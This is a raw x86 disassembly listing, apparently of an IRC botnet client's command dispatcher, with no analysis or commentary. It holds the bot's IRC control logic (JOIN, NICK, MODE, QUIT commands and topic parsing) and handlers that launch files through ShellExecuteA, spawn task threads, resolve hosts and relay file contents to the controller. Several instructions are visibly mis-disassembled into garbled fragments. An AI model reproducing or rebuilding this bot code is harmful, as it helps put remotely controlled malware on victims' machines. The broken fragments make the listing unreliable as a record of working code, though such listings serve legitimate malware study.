push offset unk_42E248
jmp loc_40C867
; ---------------------------------------------------------------------------
loc_40DA32: ; CODE XREF: .nsp0:0040D952j
push offset unk_42E1FC
jmp loc_40EF8A
; ---------------------------------------------------------------------------
loc_40DA3C: ; CODE XREF: .nsp0:0040C3BAj
; .nsp0:0040C3D1j
push dword ptr [ebp+20h]
push edi
call near ptr 0AB0000h
cmpsd
test eax, eax
jz short loc_40DA6C
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push edi
push offset unk_42E1C4
push 200h
push eax
call sub_41246A
loc_40DA64: ; CODE XREF: .nsp0:0040E29Fj
add esp, 14h
jmp loc_40C876
; ---------------------------------------------------------------------------
loc_40DA6C: ; CODE XREF: .nsp0:0040DA48j
push offset dword_42E1A4
call loc_407ADC
push eax
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
add esp, 10h
jmp loc_40C876
; ---------------------------------------------------------------------------
loc_40DA90: ; CODE XREF: .nsp0:0040C38Cj
; .nsp0:0040C3A3j
push edi
lea eax, [ebp-77Ch]
push 104h
push eax
call sub_41246A
add esp, 0Ch
cmp [ebp-0Ch], ebx
jz short loc_40DACA
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40DACA
push eax
lea eax, [ebp-678h]
push eax
call sub_411EEE
pop ecx
pop ecx
loc_40DACA: ; CODE XREF: .nsp0:0040DAA8j
; .nsp0:0040DAB9j
push dword ptr [ebp-8Ch]
lea eax, [ebp-7FCh]
push 80h
push eax
call sub_41246A
mov eax, [ebp+0Ch]
mov [ebp-800h], eax
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-678h]
push eax
lea eax, [ebp-77Ch]
push eax
push offset unk_42E160
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
push ebx
lea eax, [ebp-2C8h]
push 1Bh
push eax
call sub_41199A
add esp, 2Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-800h]
push ebx
push eax
push offset sub_40665C
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40DB7D
loc_40DB67: ; CODE XREF: .nsp0:0040DB7Bj
cmp [ebp-568h], ebx
jnz loc_40C897
push 32h
call dword_41D05C ; Sleep
jmp short loc_40DB67
; ---------------------------------------------------------------------------
loc_40DB7D: ; CODE XREF: .nsp0:0040DB65j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E110
loc_40DB89: ; CODE XREF: .nsp0:0040F166j
; .nsp0:0040F677j
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
jmp loc_40C897
; ---------------------------------------------------------------------------
loc_40DB9D: ; CODE XREF: .nsp0:0040C35Ej
; .nsp0:0040C375j
push 44h
lea eax, [ebp-48Ch]
pop esi
push esi
push ebx
push eax
call sub_411F70
push 1
mov [ebp-48Ch], esi
pop esi
mov [ebp-45Ch], bx
push edi
mov [ebp-460h], esi
call sub_41245F
add esp, 10h
cmp eax, esi
jnz short loc_40DBDA
mov word ptr [ebp-45Ch], 5
loc_40DBDA: ; CODE XREF: .nsp0:0040DBCFj
cmp [ebp-0Ch], ebx
jz loc_40E5D4
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_4124C0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40E5D4
lea eax, [ebp-2D8h]
push eax
lea eax, [ebp-48Ch]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 0AB0000h
sbb al, 85h
sal byte ptr [ebp+0Ah], 68h
fsub st, st
inc edx
add cl, ch
mov eax, ds:57000009h
push offset unk_42E0AC
jmp loc_40DF0A
; ---------------------------------------------------------------------------
loc_40DC30: ; CODE XREF: .nsp0:0040C330j
; .nsp0:0040C347j
push dword ptr [ebp+20h]
push offset aIds4473 ; "ids4473"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DDA4
lea eax, [ebp-3E8h]
push eax
push 104h
call near ptr 0AB0000h
pop edi
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_413710
lea eax, [ebp-2E4h]
push eax
call sub_410DCB
push eax
lea eax, [ebp-3E8h]
push eax
lea eax, [ebp-688h]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_411EEE
mov eax, [ebp+esi-88h]
add esp, 20h
cmp eax, ebx
mov dword ptr [ebp-584h], 1
mov [ebp-580h], ebx
jz short loc_40DCC2
push 10h
push ebx
push eax
call sub_413459
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_40DCC8
; ---------------------------------------------------------------------------
loc_40DCC2: ; CODE XREF: .nsp0:0040DCACj
mov [ebp-578h], ebx
loc_40DCC8: ; CODE XREF: .nsp0:0040DCC0j
mov esi, [ebp+esi-84h]
cmp esi, ebx
jz short loc_40DCE2
push esi
call sub_41245F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_40DCE8
; ---------------------------------------------------------------------------
loc_40DCE2: ; CODE XREF: .nsp0:0040DCD1j
mov [ebp-57Ch], ebx
loc_40DCE8: ; CODE XREF: .nsp0:0040DCE0j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_413710
mov eax, [ebp-4]
push edi
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
lea eax, [ebp-2C8h]
push offset unk_42E060
push eax
call sub_411EEE
push esi
lea eax, [ebp-2C8h]
push 16h
push eax
call sub_41199A
add esp, 24h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset loc_40915B
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40DD93
loc_40DD7D: ; CODE XREF: .nsp0:0040DD91j
cmp [ebp-568h], ebx
jnz loc_40E5D4
push 32h
call dword_41D05C ; Sleep
jmp short loc_40DD7D
; ---------------------------------------------------------------------------
loc_40DD93: ; CODE XREF: .nsp0:0040DD7Bj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E010
jmp loc_40DF0A
; ---------------------------------------------------------------------------
loc_40DDA4: ; CODE XREF: .nsp0:0040DC41j
push offset unk_42DFB8
jmp loc_40E5C6
; ---------------------------------------------------------------------------
loc_40DDAE: ; CODE XREF: .nsp0:0040C302j
; .nsp0:0040C319j
push dword ptr [ebp-90h]
push offset a332 ; "332"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40A7B4
cmp [ebp-0Ch], ebx
jz loc_40A7B4
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_4124C0
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_42DFA8
push eax
call sub_411EEE
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_413710
push edi
call sub_41245F
add esp, 30h
test eax, eax
jle short loc_40DE35
push edi
call sub_41245F
imul eax, 3E8h
pop ecx
push eax
call dword_41D05C ; Sleep
loc_40DE35: ; CODE XREF: .nsp0:0040DE1Fj
push offset dword_42DF80
call sub_408E17
mov eax, [ebp+2Ch]
pop ecx
inc eax
jmp loc_40A7B7
; ---------------------------------------------------------------------------
loc_40DE49: ; CODE XREF: .nsp0:0040C2D4j
; .nsp0:0040C2EBj
push dword ptr [ebp-90h]
push offset a332 ; "332"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40A7B4
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_4124C0
mov esi, eax
mov eax, [ebp+20h]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_412310
add esp, 10h
test eax, eax
push esi
jz short loc_40DF05
push dword ptr [ebp-8Ch]
lea eax, [ebp-2C8h]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_42DFA8
push eax
call sub_411EEE
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_413710
push esi
lea eax, [ebp-2C8h]
push offset dword_42DF4C
push eax
call sub_411EEE
lea eax, [ebp-2C8h]
push eax
call sub_408E17
push edi
call sub_41245F
add esp, 38h
test eax, eax
jle loc_40F7D2
push edi
call sub_41245F
add eax, [ebp+2Ch]
pop ecx
jmp loc_40A7B7
; ---------------------------------------------------------------------------
loc_40DF05: ; CODE XREF: .nsp0:0040DE8Ej
push offset dword_42DF04
loc_40DF0A: ; CODE XREF: .nsp0:0040C7FDj
; .nsp0:0040D93Cj ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
jmp loc_40E5D4
; ---------------------------------------------------------------------------
loc_40DF1E: ; CODE XREF: .nsp0:0040C2A6j
; .nsp0:0040C2BDj
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset dword_42DEFC
push eax
call sub_411EEE
push edi
call sub_41245F
add esp, 10h
loc_40DF3B: ; CODE XREF: .nsp0:0040DFA5j
test eax, eax
jle loc_40F7D2
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40F7D2
loc_40DF55: ; CODE XREF: .nsp0:0040E6A8j
lea eax, [ebp-2C8h]
push eax
push offset dword_42DEF4
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call sub_40F9AB
loc_40DF79: ; CODE XREF: .nsp0:0040F535j
add esp, 0Ch
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40DF81: ; CODE XREF: .nsp0:0040C278j
; .nsp0:0040C28Fj
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C8h]
push dword ptr [ebp+20h]
push offset dword_42DEE8
push eax
call sub_411EEE
push edi
call sub_41245F
add esp, 14h
jmp short loc_40DF3B
; ---------------------------------------------------------------------------
loc_40DFA7: ; CODE XREF: .nsp0:0040C24Aj
; .nsp0:0040C261j
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset dword_42DEE0
push eax
call sub_411EEE
push edi
call sub_41245F
add esp, 10h
test eax, eax
jle loc_40F7D2
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40F7D2
lea eax, [ebp-2C8h]
push eax
push offset dword_42DEF4
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call sub_40F9AB
push dword ptr [ebp+20h]
push edi
push offset dword_42DEB0
loc_40E00B: ; CODE XREF: .nsp0:0040E095j
; .nsp0:0040E100j ...
call sub_408E8B
loc_40E010: ; CODE XREF: .nsp0:0040F202j
add esp, 18h
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40E018: ; CODE XREF: .nsp0:0040C21Cj
; .nsp0:0040C233j
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_4124C0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40E049
push esi
lea eax, [ebp-2C8h]
push offset dword_42DEA8
push eax
call sub_411EEE
add esp, 0Ch
loc_40E049: ; CODE XREF: .nsp0:0040E032j
push edi
call sub_41245F
test eax, eax
pop ecx
jle loc_40F7D2
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40F7D2
lea eax, [ebp-2C8h]
push eax
push offset dword_42DEF4
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call sub_40F9AB
push esi
push edi
push offset dword_42DE78
jmp loc_40E00B
; ---------------------------------------------------------------------------
loc_40E09A: ; CODE XREF: .nsp0:0040C1EEj
; .nsp0:0040C205j
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_4124C0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40F7D2
push edi
call sub_41245F
test eax, eax
pop ecx
jle loc_40F7D2
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40F7D2
push esi
push offset dword_42DEF4
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call sub_40F9AB
push esi
push edi
push offset dword_42DE48
jmp loc_40E00B
; ---------------------------------------------------------------------------
loc_40E105: ; CODE XREF: .nsp0:0040C1C0j
; .nsp0:0040C1D7j
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push edi
push dword ptr [ebp-0Ch]
call sub_4124C0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40F7D2
push esi
push offset aModeS ; "MODE %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push esi
push offset dword_42DE0C
loc_40E137: ; CODE XREF: .nsp0:0040E84Dj
; .nsp0:0040E866j ...
call sub_408E8B
loc_40E13C: ; CODE XREF: .nsp0:0040E1A5j
add esp, 14h
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40E144: ; CODE XREF: .nsp0:0040C192j
; .nsp0:0040C1A9j
push dword ptr [ebp-90h]
push offset a332 ; "332"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40A7B4
push dword ptr [ebp+20h]
push offset dword_42DE00
push dword ptr [ebp+0Ch]
call sub_40F9AB
push edi
call sub_41245F
imul eax, 3E8h
add esp, 10h
push eax
call dword_41D05C ; Sleep
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push offset dword_42DDD8
call sub_408E17
jmp short loc_40E13C
; ---------------------------------------------------------------------------
loc_40E1A7: ; CODE XREF: .nsp0:0040C164j
; .nsp0:0040C17Bj
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push edi
call sub_4126F0
push dword ptr [ebp+18h]
mov esi, eax
call sub_4126F0
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_4124C0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40F7D2
push esi
lea eax, [ebp-2C8h]
push offset dword_42E678
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push edi
push dword ptr [ebp+0Ch]
call sub_40F9F1
push esi
push edi
push offset dword_42DDA8
call sub_408E8B
add esp, 2Ch
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40E215: ; CODE XREF: .nsp0:0040C136j
; .nsp0:0040C14Dj
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push edi
call sub_4126F0
push dword ptr [ebp+18h]
mov esi, eax
call sub_4126F0
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_4124C0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40F7D2
push ebx
push ebx
push esi
push edi
push dword ptr [ebp+0Ch]
call sub_40F9F1
push esi
push edi
push offset dword_42DD78
call sub_408E8B
jmp loc_40CE32
; ---------------------------------------------------------------------------
loc_40E268: ; CODE XREF: .nsp0:0040C108j
; .nsp0:0040C11Fj
cmp [ebp-0Ch], ebx
jz loc_40A7B4
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40A7B4
push eax
push edi
call sub_408D1F
push edi
lea eax, [ebp-2C8h]
push offset dword_42DD48
push eax
call sub_411EEE
jmp loc_40DA64
; ---------------------------------------------------------------------------
loc_40E2A4: ; CODE XREF: .nsp0:0040C0C8j
; .nsp0:0040C0DFj
push edi
push dword ptr [ebp+24h]
call sub_4124C0
pop ecx
test eax, eax
pop ecx
jz loc_40F7D2
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_40E341
push esi
push dword ptr [ebp-0Ch]
call sub_4124C0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40E329
push esi
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_42DFA8
push eax
call sub_411EEE
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_413710
push esi
push edi
lea eax, [ebp-2C8h]
push offset dword_42DD10
push eax
call sub_411EEE
add esp, 34h
inc dword ptr [ebp+2Ch]
jmp loc_40F418
; ---------------------------------------------------------------------------
loc_40E329: ; CODE XREF: .nsp0:0040E2D1j
lea eax, [ebp-2C8h]
push offset dword_42DCCC
push eax
call sub_411EEE
pop ecx
pop ecx
jmp loc_40F418
; ---------------------------------------------------------------------------
loc_40E341: ; CODE XREF: .nsp0:0040E2C0j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_408C59
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
push edi
push offset dword_42DCA0
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
add esp, 24h
jmp loc_40F418
; ---------------------------------------------------------------------------
loc_40E388: ; CODE XREF: .nsp0:0040BB05j
; .nsp0:0040BB1Cj
push offset aR ; "r"
push edi
call sub_4125E8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40E402
mov ebx, 200h
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_4140AC
add esp, 0Ch
loc_40E3B1: ; CODE XREF: .nsp0:0040E3E0j
test eax, eax
jz short loc_40E3E2
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_4140AC
add esp, 20h
jmp short loc_40E3B1
; ---------------------------------------------------------------------------
loc_40E3E2: ; CODE XREF: .nsp0:0040E3B3j
push esi
call sub_412540
push edi
lea eax, [ebp-2C8h]
push offset dword_42DC64
push eax
call sub_411EEE
add esp, 10h
jmp loc_40C0A0
; ---------------------------------------------------------------------------
loc_40E402: ; CODE XREF: .nsp0:0040E399j
push edi
push offset dword_42DC30
jmp loc_40F686
; ---------------------------------------------------------------------------
loc_40E40D: ; CODE XREF: .nsp0:0040BAD7j
; .nsp0:0040BAEEj
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push edi
push dword ptr [ebp-0Ch]
call sub_4124C0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40F7D2
push offset asc_422200 ; "\n"
push esi
call sub_412610
push esi
call sub_4084BD
add esp, 0Ch
test eax, eax
jnz short loc_40E44D
push offset dword_42DBF0
jmp loc_40E5C6
; ---------------------------------------------------------------------------
loc_40E44D: ; CODE XREF: .nsp0:0040E441j
push esi
push offset dword_42DBC4
jmp loc_40F409
; ---------------------------------------------------------------------------
loc_40E458: ; CODE XREF: .nsp0:0040BAA9j
; .nsp0:0040BAC0j
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push edi
push dword ptr [ebp-0Ch]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F7D2
push eax
call loc_407BA1
test eax, eax
pop ecx
jnz short loc_40E489
push offset unk_42DB94
jmp loc_40E5C6
; ---------------------------------------------------------------------------
loc_40E489: ; CODE XREF: .nsp0:0040E47Dj
push offset dword_42DB64
jmp loc_40E5C6
; ---------------------------------------------------------------------------
loc_40E493: ; CODE XREF: .nsp0:0040BA7Bj
; .nsp0:0040BA92j
push ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push edi
call sub_404A02
push edi
push offset dword_42DB3C
jmp loc_40E00B
; ---------------------------------------------------------------------------
loc_40E4AE: ; CODE XREF: .nsp0:0040BA4Dj
; .nsp0:0040BA64j
push edi
call near ptr 0AB0000h
mov al, ds:874C085h
push edi
push offset dword_42DB0C
jmp short loc_40E4CC
; ---------------------------------------------------------------------------
push offset dword_42E1A4
call loc_407ADC
push eax
loc_40E4CC: ; CODE XREF: .nsp0:0040E4BFj
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
add esp, 10h
jmp loc_40C07F
; ---------------------------------------------------------------------------
loc_40E4E5: ; CODE XREF: .nsp0:0040BA1Fj
; .nsp0:0040BA36j
push edi
call sub_41245F
push eax
call sub_410D06
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_40E502
push offset dword_42DAD4
jmp short loc_40E507
; ---------------------------------------------------------------------------
loc_40E502: ; CODE XREF: .nsp0:0040E4F9j
push offset dword_42DA8C
loc_40E507: ; CODE XREF: .nsp0:0040E500j
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-8], ebx
jnz loc_40C0A3
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
jmp loc_40C0A3
; ---------------------------------------------------------------------------
loc_40E540: ; CODE XREF: .nsp0:0040B9F1j
; .nsp0:0040BA08j
push ebx
push ebx
push edi
push dword ptr [ebp-4]
push ebx
push dword ptr [ebp+0Ch]
call sub_410A77
add esp, 18h
cmp eax, 1
push edi
jnz short loc_40E562
push offset dword_42DA54
jmp loc_40F686
; ---------------------------------------------------------------------------
loc_40E562: ; CODE XREF: .nsp0:0040E556j
push offset dword_42DA10
jmp loc_40F686
; ---------------------------------------------------------------------------
loc_40E56C: ; CODE XREF: .nsp0:0040B9C3j
; .nsp0:0040B9DAj
push edi
call dword_433B08 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_40E5A6
push 2
lea eax, [ebp+8]
push 4
push eax
call dword_433A80 ; gethostbyaddr
cmp eax, ebx
jz short loc_40E5C1
push dword ptr [eax]
loc_40E58F: ; CODE XREF: .nsp0:0040E5BFj
push edi
lea eax, [ebp-2C8h]
push offset dword_42D9E0
push eax
call sub_411EEE
add esp, 10h
jmp short loc_40E5D4
; ---------------------------------------------------------------------------
loc_40E5A6: ; CODE XREF: .nsp0:0040E579j
push edi
call dword_433B4C ; gethostbyname
cmp eax, ebx
jz short loc_40E5C1
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_433B54 ; inet_ntoa
push eax
jmp short loc_40E58F
; ---------------------------------------------------------------------------
loc_40E5C1: ; CODE XREF: .nsp0:0040E58Bj
; .nsp0:0040E5AFj
push offset dword_42D9A4
loc_40E5C6: ; CODE XREF: .nsp0:0040DDA9j
; .nsp0:0040E448j ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
pop ecx
pop ecx
loc_40E5D4: ; CODE XREF: .nsp0:0040D920j
; .nsp0:0040DBDDj ...
cmp [ebp-8], ebx
jnz loc_40F418
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
jmp loc_40F418
; ---------------------------------------------------------------------------
loc_40E5FE: ; CODE XREF: .nsp0:0040B995j
; .nsp0:0040B9ACj
push 7Fh
push edi
push dword ptr [ebp+1Ch]
call sub_413710
push edi
lea eax, [ebp-2C8h]
push offset dword_42D96C
push eax
call sub_411EEE
add esp, 18h
jmp loc_40F73A
; ---------------------------------------------------------------------------
loc_40E623: ; CODE XREF: .nsp0:0040B967j
; .nsp0:0040B97Ej
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_433A3C ; ShellExecuteA
test eax, eax
push edi
jz short loc_40E643
push offset unk_42D93C
jmp loc_40F686
; ---------------------------------------------------------------------------
loc_40E643: ; CODE XREF: .nsp0:0040E637j
push offset unk_42D904
jmp loc_40F686
; ---------------------------------------------------------------------------
loc_40E64D: ; CODE XREF: .nsp0:0040B939j
; .nsp0:0040B950j
mov al, [edi]
mov byte_425B6C, al
movsx eax, byte ptr [edi]
push eax
push offset dword_42D8CC
jmp loc_40F72B
; ---------------------------------------------------------------------------
loc_40E662: ; CODE XREF: .nsp0:0040B90Bj
; .nsp0:0040B922j
push edi
call sub_41245F
test eax, eax
pop ecx
jle loc_40F7D2
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40F7D2
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_4110D8
push eax
lea eax, [ebp-2C8h]
push offset dword_42DEE0
push eax
call sub_411EEE
add esp, 1Ch
jmp loc_40DF55
; ---------------------------------------------------------------------------
loc_40E6AD: ; CODE XREF: .nsp0:0040B8DDj
; .nsp0:0040B8F4j
push edi
call sub_41245F
test eax, eax
pop ecx
jle loc_40A7B4
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40A7B4
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call sub_40F9AB
pop ecx
pop ecx
push 1F4h
call dword_41D05C ; Sleep
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call dword_433B60 ; closesocket
push dword ptr [ebp-10h]
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C6C[eax]
call near ptr 0AB0000h
loop near ptr loc_40E782+3
call sub_41245F
imul eax, 234h
push edi
mov dword_438C6C[eax], ebx
call sub_41245F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_438A58[eax], bl
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40E758: ; CODE XREF: .nsp0:0040B8AFj
; .nsp0:0040B8C6j
push edi
push offset aAll ; "all"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40E787
call sub_411B63
cmp eax, ebx
jle short loc_40E77D
push eax
push offset dword_42D87C
jmp loc_40C867
; ---------------------------------------------------------------------------
loc_40E77D: ; CODE XREF: .nsp0:0040E770j
push offset dword_42D840
loc_40E782: ; CODE XREF: .nsp0:0040E72Cj
jmp loc_40EF8A
; ---------------------------------------------------------------------------
loc_40E787: ; CODE XREF: .nsp0:0040E767j
mov eax, [ebp-0ACh]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40A7B4
lea eax, [ebp+edi*4-94h]
mov [ebp+2Ch], eax
loc_40E7A3: ; CODE XREF: .nsp0:0040E814j
mov eax, [ebp+2Ch]
mov esi, [eax]
cmp esi, ebx
jz loc_40A7B4
push esi
call sub_41245F
push eax
call sub_411AD5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40E7CA
push offset dword_42D808
jmp short loc_40E7CF
; ---------------------------------------------------------------------------
loc_40E7CA: ; CODE XREF: .nsp0:0040E7C1j
push offset dword_42D7C8
loc_40E7CF: ; CODE XREF: .nsp0:0040E7C8j
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40E7FF
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40E7FF: ; CODE XREF: .nsp0:0040E7E1j
lea eax, [ebp-2C8h]
push eax
call sub_408E17
add dword ptr [ebp+2Ch], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40E7A3
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40E81B: ; CODE XREF: .nsp0:0040B881j
; .nsp0:0040B898j
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push edi
push dword ptr [ebp-0Ch]
call sub_4124C0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40F7D2
push esi
push offset dword_42DEF4
push dword ptr [ebp+0Ch]
call sub_40F9AB
push esi
push offset dword_42D79C
jmp loc_40E137
; ---------------------------------------------------------------------------
loc_40E852: ; CODE XREF: .nsp0:0040B853j
; .nsp0:0040B86Aj
push edi
push offset dword_42DE00
push dword ptr [ebp+0Ch]
call sub_40F9AB
push edi
push offset dword_42D768
jmp loc_40E137
; ---------------------------------------------------------------------------
loc_40E86B: ; CODE XREF: .nsp0:0040B825j
; .nsp0:0040B83Cj
push dword ptr [ebp+esi-8Ch]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push edi
push offset dword_42D734
jmp loc_40E00B
; ---------------------------------------------------------------------------
loc_40E88B: ; CODE XREF: .nsp0:0040B7F7j
; .nsp0:0040B80Ej
push edi
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
push edi
push offset dword_42D6FC
jmp loc_40E137
; ---------------------------------------------------------------------------
loc_40E8A4: ; CODE XREF: .nsp0:0040B7BCj
; .nsp0:0040B7D1j
mov al, byte_422952
mov [ebp+8], ebx
cmp al, bl
mov edx, offset byte_422952
jz loc_40A7B4
mov ecx, edx
loc_40E8BB: ; CODE XREF: .nsp0:0040E8C3j
inc dword ptr [ebp+8]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40E8BB
cmp al, bl
jz loc_40A7B4
mov [ebp+20h], edx
loc_40E8D0: ; CODE XREF: .nsp0:0040EB8Ej
push 8
call sub_411BE2
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv dword ptr [ebp+8]
add eax, ecx
cmp eax, 12Ch
jle short loc_40E91F
push ecx
lea eax, [ebp-2C8h]
push offset dword_42E7A8
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
